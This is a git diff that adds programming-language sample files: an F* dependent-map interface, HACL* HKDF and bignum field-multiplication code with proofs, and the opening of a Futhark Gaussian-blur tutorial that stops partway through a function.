+val create (#key: eqtype) (#value: (key -> Tot Type)) (f: (k: key -> Tot (value k)))
+    : Tot (t key value)
+
+(** Querying the map for its value at a given key *)
+val sel (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) : Tot (value k)
+
+(** Relating [create] to [sel] *)
+val sel_create (#key: eqtype) (#value: (key -> Tot Type)) (f: (k: key -> Tot (value k))) (k: key)
+    : Lemma (ensures (sel #key #value (create f) k == f k)) [SMTPat (sel #key #value (create f) k)]
+
+(** Updating a map at a point *)
+val upd (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) (v: value k)
+    : Tot (t key value)
+
+(** The action of selecting a key [k] a map with an updated value [v]
+    at [k]
+
+    This is one of the classic McCarthy select/update axioms in the
+    setting of a dependent map.
+    *)
+val sel_upd_same (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value) (k: key) (v: value k)
+    : Lemma (ensures (sel (upd m k v) k == v)) [SMTPat (sel (upd m k v) k)]
+
+(** The action of selecting a key [k] a map with an updated value [v]
+    at a different key [k']
+
+    This is one of the classic McCarthy select/update axioms in the
+    setting of a dependent map.
+    *)
+val sel_upd_other
+      (#key: eqtype)
+      (#value: (key -> Tot Type))
+      (m: t key value)
+      (k: key)
+      (v: value k)
+      (k': key)
+    : Lemma (requires (k' <> k))
+      (ensures (sel (upd m k v) k' == sel m k'))
+      [SMTPat (sel (upd m k v) k')]
+
+(** Extensional propositional equality on maps *)
+val equal (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value) : prop
+
+(** Introducing extensional equality by lifting equality on the map, pointwise *)
+val equal_intro (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value)
+    : Lemma (requires (forall k. sel m1 k == sel m2 k))
+      (ensures (equal m1 m2))
+      [SMTPat (equal m1 m2)]
+
+(** [equal] is reflexive *)
+val equal_refl (#key: eqtype) (#value: (key -> Tot Type)) (m: t key value)
+    : Lemma (ensures (equal m m)) [SMTPat (equal m m)]
+
+(** [equal] can be eliminated into standard propositional equality
+    (==), also proving that it is an equivalence relation *)
+val equal_elim (#key: eqtype) (#value: (key -> Tot Type)) (m1 m2: t key value)
+    : Lemma (requires (equal m1 m2)) (ensures (m1 == m2)) [SMTPat (equal m1 m2)]
+
+(**** Restricting the domain of a map *)
+
+(** Restricts the domain of the map to those keys satisfying [p] *)
+val restrict (#key: eqtype) (#value: (key -> Tot Type)) (p: (key -> Tot Type0)) (m: t key value)
+    : Tot (t (k: key{p k}) value)
+
+(** The action of [sel] on [restrict] : the contents of the map isn't changed *)
+val sel_restrict
+      (#key: eqtype)
+      (#value: (key -> Tot Type))
+      (p: (key -> Tot Type0))
+      (m: t key value)
+      (k: key{p k})
+    : Lemma (ensures (sel (restrict p m) k == sel m k))
+
+(**** Concatenating maps *)
+
+/// Concatenating [t k1 v1] and [t k2 v2] produces a map
+/// [t (either k1 k2) (concat_value v1 v2)]
+///
+/// I.e., the key space varies contravariantly, to take the union of
+/// the component key spaces. The co-domain is the dependent product
+/// of the co-domains of the original map
+
+(** The key space of a concatenated map is the product of the key spaces *)
+let concat_value
+      (#key1: eqtype)
+      (value1: (key1 -> Tot Type))
+      (#key2: eqtype)
+      (value2: (key2 -> Tot Type))
+      (k: either key1 key2)
+    : Tot Type =
+  match k with
+  | Inl k1 -> value1 k1
+  | Inr k2 -> value2 k2
+
+(** Concatenating maps *)
+val concat
+      (#key1: eqtype)
+      (#value1: (key1 -> Tot (Type u#v)))
+      (#key2: eqtype)
+      (#value2: (key2 -> Tot (Type u#v)))
+      (m1: t key1 value1)
+      (m2: t key2 value2)
+    : Tot (t (either key1 key2) (concat_value value1 value2))
+
+(** The action of [sel] on [concat], for a key on the left picks a
+    value from the left map *)
+val sel_concat_l
+      (#key1: eqtype)
+      (#value1: (key1 -> Tot (Type u#v)))
+      (#key2: eqtype)
+      (#value2: (key2 -> Tot (Type u#v)))
+      (m1: t key1 value1)
+      (m2: t key2 value2)
+      (k1: key1)
+    : Lemma (ensures (sel (concat m1 m2) (Inl k1) == sel m1 k1))
+
+(** The action of [sel] on [concat], for a key on the right picks a
+    value from the right map *)
+val sel_concat_r
+      (#key1: eqtype)
+      (#value1: (key1 -> Tot Type))
+      (#key2: eqtype)
+      (#value2: (key2 -> Tot Type))
+      (m1: t key1 value1)
+      (m2: t key2 value2)
+      (k2: key2)
+    : Lemma (ensures (sel (concat m1 m2) (Inr k2) == sel m2 k2))
+
+(**** Renamings *)
+
+/// Given a map from [key2] to [key1], we can revise a map from [t
+/// key1 v] to a map [t key2 v], by composing the maps.
+
+(** The type of the co-domain of the renamed map also involves
+    transformation along the renaming function *)
+let rename_value
+      (#key1: eqtype)
+      (value1: (key1 -> Tot Type))
+      (#key2: eqtype)
+      (ren: (key2 -> Tot key1))
+      (k: key2)
+    : Tot Type = value1 (ren k)
+
+(** Renaming the keys of a map *)
+val rename
+      (#key1: eqtype)
+      (#value1: (key1 -> Tot Type))
+      (m: t key1 value1)
+      (#key2: eqtype)
+      (ren: (key2 -> Tot key1))
+    : Tot (t key2 (rename_value value1 ren))
+
+(** The action of [sel] on [rename] *)
+val sel_rename
+      (#key1: eqtype)
+      (#value1: (key1 -> Tot Type))
+      (m: t key1 value1)
+      (#key2: eqtype)
+      (ren: (key2 -> Tot key1))
+      (k2: key2)
+    : Lemma (ensures (sel (rename m ren) k2 == sel m (ren k2)))
+
+(**** Mapping a function over a dependent map *)
+
+(** [map f m] applies f to each value in [m]'s co-domain *)
+val map
+      (#key: eqtype)
+      (#value1 #value2: (key -> Tot Type))
+      (f: (k: key -> value1 k -> Tot (value2 k)))
+      (m: t key value1)
+    : Tot (t key value2)
+
+(** The action of [sel] on [map] *)
+val sel_map
+      (#key: eqtype)
+      (#value1 #value2: (key -> Tot Type))
+      (f: (k: key -> value1 k -> Tot (value2 k)))
+      (m: t key value1)
+      (k: key)
+    : Lemma (ensures (sel (map f m) k == f k (sel m k)))
+      [SMTPat (sel #key #value2 (map #key #value1 #value2 f m) k)]
+
+(** [map] explained in terms of its action on [upd] *)
+val map_upd
+      (#key: eqtype)
+      (#value1 #value2: (key -> Tot Type))
+      (f: (k: key -> value1 k -> Tot (value2 k)))
+      (m: t key value1)
+      (k: key)
+      (v: value1 k)
+    : Lemma (ensures (map f (upd m k v) == upd (map f m) k (f k v)))
+      [
+        //AR: wanted to write an SMTPatOr, but gives some error
+        SMTPat (map #key #value1 #value2 f (upd #key #value1 m k v))
+      ]
+
+
+/// We seem to miss lemmas that relate map to the other constructors,
+/// including create, restrict etc.
diff --git a/samples/Fstar/Hacl.HKDF.fst b/samples/Fstar/Hacl.HKDF.fst
new file mode 100644
index 0000000000..a1f3b3c195
--- /dev/null
+++ b/samples/Fstar/Hacl.HKDF.fst
@@ -0,0 +1,196 @@
+module Hacl.HKDF
+
+module ST = FStar.HyperStack.ST
+
+open FStar.HyperStack.All
+
+open FStar.Mul
+open FStar.Ghost
+open FStar.HyperStack
+open FStar.HyperStack.ST
+open FStar.Buffer
+open FStar.UInt32
+
+
+(* Definition of aliases for modules *)
+module U8 = FStar.UInt8
+module U32 = FStar.UInt32
+module U64 = FStar.UInt64
+
+module S8 = Hacl.UInt8
+module S32 = Hacl.UInt32
+module S64 = Hacl.UInt64
+
+module Buffer = FStar.Buffer
+module Cast = Hacl.Cast
+
+module Hash = Hacl.Hash.SHA2.L256
+module HMAC = Hacl.HMAC
+
+
+(* Definition of base types *)
+let uint8_t   = FStar.UInt8.t
+let uint32_t  = FStar.UInt32.t
+let uint64_t  = FStar.UInt64.t
+
+let suint8_t  = Hacl.UInt8.t
+let suint32_t = Hacl.UInt32.t
+let suint64_t = Hacl.UInt64.t
+
+let suint32_p = Buffer.buffer suint32_t
+let suint8_p  = Buffer.buffer suint8_t
+
+
+(* Definitions of aliases for functions *)
+let u8_to_s8 = Cast.uint8_to_sint8
+let u32_to_s8 = Cast.uint32_to_sint8
+let u32_to_s32 = Cast.uint32_to_sint32
+let u32_to_s64 = Cast.uint32_to_sint64
+let s32_to_s8  = Cast.sint32_to_sint8
+let s32_to_s64 = Cast.sint32_to_sint64
+let u64_to_s64 = Cast.uint64_to_sint64
+
+
+
+//
+// HKDF
+//
+
+(* Define parameters *)
+inline_for_extraction let hashsize = HMAC.hashsize
+inline_for_extraction let hashsize_32 = HMAC.hashsize_32
+inline_for_extraction let blocksize = HMAC.blocksize
+inline_for_extraction let blocksize_32 = HMAC.blocksize_32
+
+
+
+(* Define HKDF Extraction function *)
+val hkdf_extract :
+  prk     :suint8_p{length prk = v hashsize} ->
+  salt    :suint8_p ->
+  saltlen :uint32_t{v saltlen = length salt} ->
+  ikm     :suint8_p ->
+  ikmlen  :uint32_t{v ikmlen = length ikm} ->
+  Stack unit
+        (requires (fun h0 -> live h0 prk /\ live h0 salt /\ live h0 ikm))
+        (ensures  (fun h0 r h1 -> live h1 prk /\ modifies_1 prk h0 h1))
+
+let hkdf_extract prk salt saltlen ikm ikmlen = HMAC.hmac prk salt saltlen ikm ikmlen
+
+
+
+[@"c_inline"]
+private val hkdf_expand_inner:
+  state   :suint8_p ->
+  prk     :suint8_p {v hashsize <= length prk} ->
+  prklen  :uint32_t {v prklen = length prk} ->
+  info    :suint8_p ->
+  infolen :uint32_t {v infolen = length info} ->
+  n       :uint32_t {v n <= pow2 8}->
+  i       :uint32_t {v i <= v n} ->
+  Stack unit
+        (requires (fun h0 -> live h0 state /\ live h0 prk /\ live h0 info))
+        (ensures  (fun h0 r h1 -> live h1 state /\ modifies_1 state h0 h1))
+
+[@"c_inline"]
+let rec hkdf_expand_inner state prk prklen info infolen n i =
+
+  (* Push a new memory frame *)
+  (**) push_frame();
+
+  (* Recompute the sizes and position of the intermediary objects *)
+  (* Note: here we favour readability over efficiency *)
+  let size_T = U32.mul_mod n hashsize in
+  let size_Ti  = hashsize in
+  let size_Til = hashsize +^ infolen +^ 1ul in
+  let pos_Ti = 0ul in
+  let pos_Til = size_Ti in
+  let pos_T = pos_Til +^ size_Til in
+
+  (* Retreive the memory for local computations. state =  Ti | Til | T *)
+  let ti = Buffer.sub state pos_Ti size_Ti in
+  let til = Buffer.sub state pos_Til size_Til in
+  let t = Buffer.sub state pos_T size_T in
+
+  if (i =^ 1ul) then begin
+
+    (* Concatenate T(i-1) | Info | i *)
+    Buffer.blit info 0ul til 0ul infolen;
+    Buffer.upd til (size_Til -^ 1ul) (u32_to_s8 i);
+
+    (* Compute the mac of to get block Ti *)
+    HMAC.hmac ti prk prklen til size_Til;
+
+    (* Store the resulting block in T *)
+    Buffer.blit ti 0ul t 0ul hashsize;
+
+    (* Recursive call *)
+    hkdf_expand_inner state prk prklen info infolen n (i +^ 1ul) end
+
+  else if (i <=^ n) then begin
+
+    (* Concatenate T(i-1) | Info | i *)
+    Buffer.blit ti 0ul til 0ul hashsize;
+    Buffer.blit info 0ul til hashsize infolen;
+    Buffer.upd til (size_Til -^ 1ul) (u32_to_s8 i);
+
+    (* Compute the mac of to get block Ti *)
+    HMAC.hmac ti prk prklen til size_Til;
+
+    (* Store the resulting block in T *)
+    let pos = U32.mul_mod (i -^ 1ul) hashsize in
+    Buffer.blit ti 0ul t pos hashsize;
+
+    (* Recursive call *)
+    hkdf_expand_inner state prk prklen info infolen n (i +^ 1ul) end
+  else ();
+
+  (* Pop the memory frame *)
+  (**) pop_frame()
+
+
+
+(* Define HKDF Expand function *)
+val hkdf_expand :
+  okm     :suint8_p ->
+  prk     :suint8_p {v hashsize <= length prk} ->
+  prklen  :uint32_t {v prklen <= length prk} ->
+  info    :suint8_p ->
+  infolen :uint32_t {v infolen <= length info} ->
+  len     :uint32_t {v len <= length okm
+                    /\ v len <= (255 * U32.v hashsize)
+                    /\ (U32.v len / U32.v hashsize + 1) <= length okm} ->
+  Stack unit
+        (requires (fun h0 -> live h0 okm /\ live h0 prk /\ live h0 info))
+        (ensures  (fun h0 r h1 -> live h1 okm /\ modifies_1 okm h0 h1))
+
+let hkdf_expand okm prk prklen info infolen len =
+
+  (* Push a new memory frame *)
+  (**) push_frame ();
+
+  (* Compute the number of blocks necessary to compute the output *)
+  let n = U32.(div len hashsize) +^ 1ul in
+
+  (* Describe the shape of memory used by the inner recursive function *)
+  let size_T = U32.mul_mod n hashsize in
+  let size_Ti  = hashsize in
+  let size_Til = hashsize +^ infolen +^ 1ul in
+  let pos_Ti = 0ul in
+  let pos_Til = size_Ti in
+  let pos_T = pos_Til +^ size_Til in
+
+  (* Allocate memory for inner expension: state =  Ti | Til | T *)
+  let state = Buffer.create (u8_to_s8 0uy) (size_Ti +^ size_Til +^ size_T) in
+
+  (* Call the inner expension function *)
+  hkdf_expand_inner state prk prklen info infolen n 0ul;
+
+  (* Extract T from the state *)
+  let _T = Buffer.sub state pos_T size_T in
+
+  (* Redundant copy the desired part of T *)
+  Buffer.blit _T 0ul okm 0ul len;
+
+  (* Pop the memory frame *)
+  (**) pop_frame()
diff --git a/samples/Fstar/Hacl.Spec.Bignum.Fmul.fst b/samples/Fstar/Hacl.Spec.Bignum.Fmul.fst
new file mode 100644
index 0000000000..52b397dc80
--- /dev/null
+++ b/samples/Fstar/Hacl.Spec.Bignum.Fmul.fst
@@ -0,0 +1,273 @@
+module Hacl.Spec.Bignum.Fmul
+
+module ST = FStar.HyperStack.ST
+
+open FStar.HyperStack.All
+
+open FStar.Mul
+
+open Hacl.Bignum.Constants
+open Hacl.Bignum.Parameters
+open Hacl.Spec.Bignum.Bigint
+open Hacl.Bignum.Limb
+open Hacl.Spec.Bignum.Modulo
+open Hacl.Spec.Bignum.Fproduct
+
+module U32 = FStar.UInt32
+
+
+#set-options "--initial_fuel 0 --max_fuel 0 --z3rlimit 5"
+
+let shift_reduce_pre (s:seqelem) : GTot Type0 = reduce_pre (shift_spec s)
+
+
+val shift_reduce_spec: s:seqelem{shift_reduce_pre s} -> Tot (s':seqelem)
+let shift_reduce_spec s =
+  reduce_spec (shift_spec s)
+
+#set-options "--initial_fuel 0 --max_fuel 0 --z3rlimit 100"
+
+val lemma_shift_spec_eq: s:seqelem -> Lemma
+  (Seq.append (Seq.slice (shift_spec s) 1 (len)) (Seq.slice (shift_spec s) 0 1) == s)
+let lemma_shift_spec_eq s =
+  Seq.lemma_eq_intro (Seq.append (Seq.slice (shift_spec s) 1 (len)) (Seq.slice (shift_spec s) 0 1)) (s)
+
+
+val lemma_shift_reduce_spec: s:seqelem{shift_reduce_pre s} -> Lemma
+  (seval (shift_reduce_spec s) % prime = (pow2 limb_size * seval s) % prime)
+let lemma_shift_reduce_spec s =
+  lemma_shift_spec_eq s;
+  lemma_reduce_spec (shift_spec s)
+
+
+#set-options "--initial_fuel 1 --max_fuel 1 --z3rlimit 50"
+
+let rec mul_shift_reduce_pre_ (output:seqelem_wide) (input:seqelem) (input2:seqelem) (ctr:nat{ctr <= len}) : GTot Type0 (decreases ctr) =
+  (if ctr > 0 then (
+    sum_scalar_multiplication_pre_ output input (Seq.index input2 (len-ctr)) len
+    /\ (let output' = sum_scalar_multiplication_spec output input (Seq.index input2 (len-ctr)) in
+       (ctr > 1 ==> shift_reduce_pre input) /\
+         (let input'  = if ctr > 1 then shift_reduce_spec input else input in
+          mul_shift_reduce_pre_ output' input' input2 (ctr-1))))
+          else true)
+
+#reset-options "--max_fuel 0 --max_fuel 2 --z3rlimit 50"
+
+val lemma_mul_shift_reduce_pre_def: output:seqelem_wide -> input:seqelem -> input2:seqelem -> ctr:nat{ctr <= len /\ ctr > 0} -> Lemma (
+    mul_shift_reduce_pre_ output input input2 ctr == (
+    sum_scalar_multiplication_pre_ output input (Seq.index input2 (len-ctr)) len
+    /\ (let output' = sum_scalar_multiplication_spec output input (Seq.index input2 (len-ctr)) in
+       (ctr > 1 ==> shift_reduce_pre input) /\
+         (let input'  = if ctr > 1 then shift_reduce_spec input else input in
+          mul_shift_reduce_pre_ output' input' input2 (ctr-1)))))
+let lemma_mul_shift_reduce_pre_def output input input2 ctr = ()
+
+
+#set-options "--initial_fuel 1 --max_fuel 1 --z3rlimit 50"
+
+
+let mul_shift_reduce_pre (output:seqelem_wide) (input_init:seqelem) (input:seqelem) (input2:seqelem) (ctr:nat{ctr <= len}) : GTot Type0 (decreases ctr) =
+  seval_wide output % prime = (seval input_init * seval_ input2 (len - ctr)) % prime
+  /\ (ctr > 0 ==> seval input % prime = (pow2 ((len - ctr) * limb_size) * seval input_init) % prime)
+  /\ mul_shift_reduce_pre_ output input input2 ctr
+
+
+#set-options "--z3rlimit 20 --max_ifuel 1 --max_fuel 0"
+
+val lemma_mod_mul_distr: a:nat -> b:nat -> p:pos -> Lemma ((a+b)%p = ((a%p) + b) % p)
+let lemma_mod_mul_distr a b p = Math.Lemmas.lemma_mod_plus_distr_l a b p
+val lemma_mod_mul_comm: a:nat -> b:nat -> p:pos -> Lemma ((a*b)%p = ((a%p)*b)%p)
+let lemma_mod_mul_comm a b p = Math.Lemmas.lemma_mod_mul_distr_l a b p
+
+
+#reset-options "--z3rlimit 1000 --initial_fuel 0 --max_fuel 0"
+
+val lemma_mul_shift_reduce_spec_1_1:
+  o':seqelem_wide -> o:seqelem_wide ->
+  i0:seqelem -> i:seqelem ->i2:seqelem -> ij:nat ->
+  ctr:pos{ctr <= len /\ ij = v (Seq.index i2 (len-ctr))} -> Lemma
+  (requires (
+    seval_wide o' = seval_wide o + (seval i * ij)
+    /\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime
+    /\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))
+  (ensures (seval_wide o' % prime = (seval i0 * seval_ i2 (len-ctr+1)) % prime))
+let lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr =
+  let so' = seval_wide o' % prime in
+  Math.Lemmas.lemma_mod_plus_distr_l (seval_wide o) (seval i * ij) prime;
+  cut (so' = (((seval i0 * seval_ i2 (len-ctr)) % prime) + (seval i * ij)) % prime);
+  Math.Lemmas.lemma_mod_plus_distr_l ((seval i0 * seval_ i2 (len-ctr))) (seval i * ij) prime;
+  cut (so' = ((seval i0 * seval_ i2 (len-ctr)) + seval i * ij) % prime);
+  Math.Lemmas.lemma_mod_plus_distr_l (seval i * ij) ((seval i0 * seval_ i2 (len-ctr))) prime;
+  cut (so' = (((seval i * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);
+  Math.Lemmas.lemma_mod_mul_distr_l (seval i) ij prime;
+  cut (so' = ((((seval i % prime) * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);
+  Math.Lemmas.lemma_mod_mul_distr_l (pow2 ((len-ctr)*limb_size) * seval i0) ij prime;
+  cut (so' = ((((pow2 ((len-ctr)*limb_size) * seval i0) * ij) % prime) + (seval i0 * seval_ i2 (len-ctr))) % prime);
+  Math.Lemmas.lemma_mod_plus_distr_l ((pow2 ((len-ctr)*limb_size) * seval i0) * ij) 
+                                     (seval i0 * seval_ i2 (len-ctr)) prime;
+  cut (so' = (seval i0 * pow2 ((len-ctr)*limb_size) * ij + seval i0 * seval_ i2 (len-ctr)) % prime);
+  Math.Lemmas.distributivity_add_right (seval i0) (pow2 ((len-ctr)*limb_size) * ij) (seval_ i2 (len-ctr));
+  cut (so' = (seval i0 * (pow2 ((len-ctr)*limb_size) * ij + seval_ i2 (len-ctr))) % prime);
+  lemma_seval_def i2 (len-ctr+1)
+
+
+val lemma_mul_shift_reduce_spec_1_2:
+  o':seqelem_wide -> o:seqelem_wide ->
+  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat ->
+  ctr:pos{ctr <= len /\ ij = v (Seq.index i2 (len-ctr))} -> Lemma
+  (requires (
+    seval_wide o' = seval_wide o + (seval i * ij)
+    /\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime
+    /\ seval i' % prime = (pow2 limb_size * seval i) % prime
+    /\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))
+  (ensures (seval i' % prime = (pow2 ((len-ctr+1) * limb_size) * seval i0) % prime))
+let lemma_mul_shift_reduce_spec_1_2 o' o i0 i i' i2 ij ctr =
+  let si' = seval i' % prime in
+  Math.Lemmas.lemma_mod_mul_distr_l (seval i) (pow2 limb_size) prime;
+  Math.Lemmas.lemma_mod_mul_distr_l (pow2 ((len-ctr)*limb_size) * seval i0) (pow2 limb_size) prime;
+  Math.Lemmas.pow2_plus ((len-ctr) * limb_size) limb_size
+
+
+val lemma_mul_shift_reduce_spec_1:
+  o':seqelem_wide -> o:seqelem_wide ->
+  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat ->
+  ctr:pos{ctr <= len /\ ij = v (Seq.index i2 (len-ctr))} -> Lemma
+  (requires (
+    seval_wide o' = seval_wide o + (seval i * ij)
+    /\ seval i % prime = (pow2 ((len-ctr)*limb_size) * seval i0) % prime
+    /\ seval i' % prime = (pow2 limb_size * seval i) % prime
+    /\ seval_wide o % prime = (seval i0 * seval_ i2 (len-ctr)) % prime))
+  (ensures (seval_wide o' % prime = (seval i0 * seval_ i2 (len-ctr+1)) % prime
+    /\ seval i' % prime = (pow2 ((len-ctr+1) * limb_size) * seval i0) % prime))
+let lemma_mul_shift_reduce_spec_1 o' o i0 i i' i2 ij ctr =
+  lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr;
+  lemma_mul_shift_reduce_spec_1_2 o' o i0 i i' i2 ij ctr
+
+
+val lemma_mul_shift_reduce_spec_2:
+  o':seqelem_wide -> o:seqelem_wide ->
+  i0:seqelem -> i:seqelem -> i':seqelem -> i2:seqelem -> ij:nat{ij = v (Seq.index i2 (len-1))} -> Lemma
+  (requires (
+    seval_wide o' = seval_wide o + (seval i * ij)
+    /\ seval i % prime = (pow2 ((len-1)*limb_size) * seval i0) % prime
+    /\ seval_wide o % prime = (seval i0 * seval_ i2 (len-1)) % prime))
+  (ensures (seval_wide o' % prime = (seval i0 * seval i2) % prime))
+let lemma_mul_shift_reduce_spec_2 o' o i0 i i' i2 ij =
+  let ctr = 1 in
+  lemma_mul_shift_reduce_spec_1_1 o' o i0 i i2 ij ctr
+
+
+val mul_shift_reduce_spec_:
+  output:seqelem_wide ->
+  input_init:seqelem ->
+  input:seqelem ->
+  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->
+  ctr:nat{ctr <= len} ->
+  Tot (t:tuple2 seqelem_wide seqelem{
+    let output', input' = t in mul_shift_reduce_pre output' input_init input' input2 ctr})
+  (decreases (len - ctr))
+
+#reset-options "--z3rlimit 500 --initial_fuel 1 --max_fuel 1"
+
+let rec mul_shift_reduce_spec_ output input_init input input2 ctr =
+  if ctr = len then output, input
+  else (
+    let output, input = mul_shift_reduce_spec_ output input_init input input2 (ctr+1) in
+    let i = ctr in
+    let j = len - i - 1 in
+    let input2j = Seq.index input2 j in
+    let output' = sum_scalar_multiplication_spec output input input2j in
+    lemma_sum_scalar_multiplication_ output input input2j len;
+    cut (seval_wide output' = seval_wide output + (seval input * v input2j));
+    let input'  = if ctr > 0 then shift_reduce_spec input else input in
+    if ctr = 0 then (
+      lemma_mul_shift_reduce_spec_2 output' output input_init input input' input2 (v input2j);
+      ()
+    ) else (
+      lemma_shift_reduce_spec input;
+      lemma_mul_shift_reduce_spec_1 output' output input_init input input' input2 (v input2j) (ctr+1);
+      ()
+    );
+    (* mul_shift_reduce_spec_ output' input_init input' input2 i *)
+    output', input'
+  )
+
+val lemma_mul_shift_reduce_spec_def:
+  output:seqelem_wide ->
+  input_init:seqelem ->
+  input:seqelem ->
+  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->
+  ctr:nat{ctr < len} ->
+  Lemma (
+    mul_shift_reduce_spec_ output input_init input input2 ctr ==
+      (let output, input = mul_shift_reduce_spec_ output input_init input input2 (ctr+1) in
+      let i = ctr in
+      let j = len - i - 1 in
+      let input2j = Seq.index input2 j in
+      let output' = Hacl.Spec.Bignum.Fproduct.sum_scalar_multiplication_spec output input input2j in
+      Hacl.Spec.Bignum.Fproduct.lemma_sum_scalar_multiplication_ output input input2j len;
+      assert (seval_wide output' = seval_wide output + (seval input * v input2j));
+      let input'  = if ctr > 0 then shift_reduce_spec input else input in
+      (output', input')) )
+let lemma_mul_shift_reduce_spec_def output input_init input input2 ctr =
+  ()
+
+val lemma_mul_shift_reduce_spec_def_0:
+  output:seqelem_wide ->
+  input_init:seqelem ->
+  input:seqelem ->
+  input2:seqelem{mul_shift_reduce_pre output input_init input input2 len} ->
+  Lemma (
+    mul_shift_reduce_spec_ output input_init input input2 len == (output, input))
+let lemma_mul_shift_reduce_spec_def_0 output input_init input input2 =
+  ()
+
+
+val lemma_seval_wide_null: a:seqelem_wide -> ctr:nat{ctr <= len} -> Lemma
+  (requires (a == Seq.create len wide_zero))
+  (ensures (seval_wide_ a ctr = 0))
+let rec lemma_seval_wide_null a ctr =
+  if ctr = 0 then () else lemma_seval_wide_null a (ctr-1)
+
+
+#reset-options "--z3rlimit 100 --max_fuel 0 --max_ifuel 0"
+
+val mul_shift_reduce_spec:
+  input:seqelem -> input2:seqelem{mul_shift_reduce_pre (Seq.create len wide_zero) input input input2 len} ->
+  Tot (s:seqelem_wide{seval_wide s % prime = (seval input * seval input2) % prime})
+let mul_shift_reduce_spec input input2 =
+  lemma_seval_wide_null (Seq.create len wide_zero) len;
+  assert_norm (pow2 0 = 1);
+  let output, _ = mul_shift_reduce_spec_ (Seq.create len wide_zero) input input input2 0 in
+  output
+
+
+#set-options "--z3rlimit 20 --initial_fuel 2 --max_fuel 2"
+
+let fmul_pre (input:seqelem) (input2:seqelem) : GTot Type0 =
+  mul_shift_reduce_pre (Seq.create len wide_zero) input input input2 len
+  /\ carry_wide_pre (mul_shift_reduce_spec input input2) 0
+  /\ carry_top_wide_pre (carry_wide_spec (mul_shift_reduce_spec input input2))
+  /\ copy_from_wide_pre (carry_top_wide_spec (carry_wide_spec (mul_shift_reduce_spec input input2)))
+  /\ carry_0_to_1_pre (copy_from_wide_spec (carry_top_wide_spec (carry_wide_spec (mul_shift_reduce_spec input input2))))
+
+#set-options "--initial_fuel 0 --max_fuel 0"
+
+val fmul_spec:
+  input:seqelem -> input2:seqelem{fmul_pre input input2} ->
+  Tot (output:seqelem{seval output % prime = (seval input * seval input2) % prime})
+let fmul_spec input input2 =
+  let output1 = mul_shift_reduce_spec input input2 in
+  let output2 = carry_wide_spec output1 in
+  lemma_carry_top_wide_spec output2;
+  let output3 = carry_top_wide_spec output2 in
+  lemma_copy_from_wide output3;
+  let output4 = copy_from_wide_spec output3 in
+  carry_0_to_1_spec output4
+
+#set-options "--z3rlimit 40"
+
+
+val lemma_whole_slice: #a:Type -> s:Seq.seq a -> Lemma
+  (Seq.slice s 0 (Seq.length s) == s)
+let lemma_whole_slice #a s = Seq.lemma_eq_intro (Seq.slice s 0 (Seq.length s)) s
diff --git a/samples/Futhark/gaussian_blur.fut b/samples/Futhark/gaussian_blur.fut
new file mode 100644
index 0000000000..2e3a50a856
--- /dev/null
+++ b/samples/Futhark/gaussian_blur.fut
@@ -0,0 +1,191 @@
+-- # Gaussian blur
+--
+-- One common pattern of array computation is the so-called
+-- [stencil](https://en.wikipedia.org/wiki/Stencil_code), where we
+-- change the value of an element in the array based on its
+-- neighbours.  For example, we might implement image blurring by
+-- assigning each pixel the average value of all of its neighbors.
+-- Futhark does not have a special-purpose stencil language construct.
+-- Instead, stencil computations are expressed as `map`s on the index
+-- space, using explicit array indexing to access the stencil source
+-- array and returning the new value for the index.  While this is
+-- rather verbose, at least until Futhark grows more syntactical
+-- conveniences, it works and performs well.  Let's look at how to
+-- implement a simple image blurring program.
+--
+-- We will represent an image as a three-dimensional array
+-- `[rows][cols][3]u8`.  The innermost size-3 dimension encodes the
+-- three colour channels for red, green, and blue, respectively.  When
+-- blurring, it is useful to operate on each colour channel separately.
+-- Furthermore, instead of the colour being a number from 0 to 255, it is
+-- more convenient to store it as a floating-point number between 0 and
+-- 1.0.  Therefore, we define a function that transforms an array of type
+-- `[rows][cols][3]u8` into three arrays of type
+-- `[rows][cols]f32` each.  The result is that we have one array for
+-- each of the three colour channels:
+--
+let split_channels [rows][cols]
+                   (image: [rows][cols][3]u8): ([rows][cols]f32,
+                                                [rows][cols]f32,
+                                                [rows][cols]f32) =
+  unzip3 (map (\row ->
+                unzip3 (map (\pixel ->
+                              (f32.u8 pixel[0] / 255,
+                               f32.u8 pixel[1] / 255,
+                               f32.u8 pixel[2] / 255))
+                            row))
+              image)
+
+-- The `[rows][cols]` notation preceding the `image` parameter is not
+-- a normal function parameter.  Rather, it is a *size parameter*, a way
+-- of indicating that the function `split_channels` is polymorphic
+-- in the sizes `rows` and `cols`.  The main purpose is that we can
+-- then use these names to indicate the sizes of the parameter and return
+-- values of the function.  When the function is called, size parameters
+-- need not be passed arguments explicitly, but are automatically
+-- inferred from the concrete `image` argument.  If we did not
+-- explicitly add these size parameters, the Futhark compiler would look
+-- for variables `rows` and `cols` in scope.
+--
+-- The function `split_channels` maps across each inner `[3]u8`
+-- element (`pixel`), turns this into a triple instead of a
+-- three-element array, then uses `unzip` to turn the resulting
+-- array-of-triples into a triple-of-arrays, which is then returned.  For
+-- readability, we could have chosen to explicitly indicate the return
+-- and parameter types of the anonymous function, but in the interest of
+-- brevity we have left them for the compiler to infer.  It is only
+-- required to explicitly indicate the types of all top-level functions.
+--
+-- We will also need to re-combine the colour channel arrays into a
+-- single array.  That function looks like this:
+
+let combine_channels [rows][cols]
+                     (rs: [rows][cols]f32)
+                     (gs: [rows][cols]f32)
+                     (bs: [rows][cols]f32): [rows][cols][3]u8 =
+  map3 (\rs_row gs_row bs_row ->
+         map3 (\r g b ->
+                [u8.f32 (r * 255),
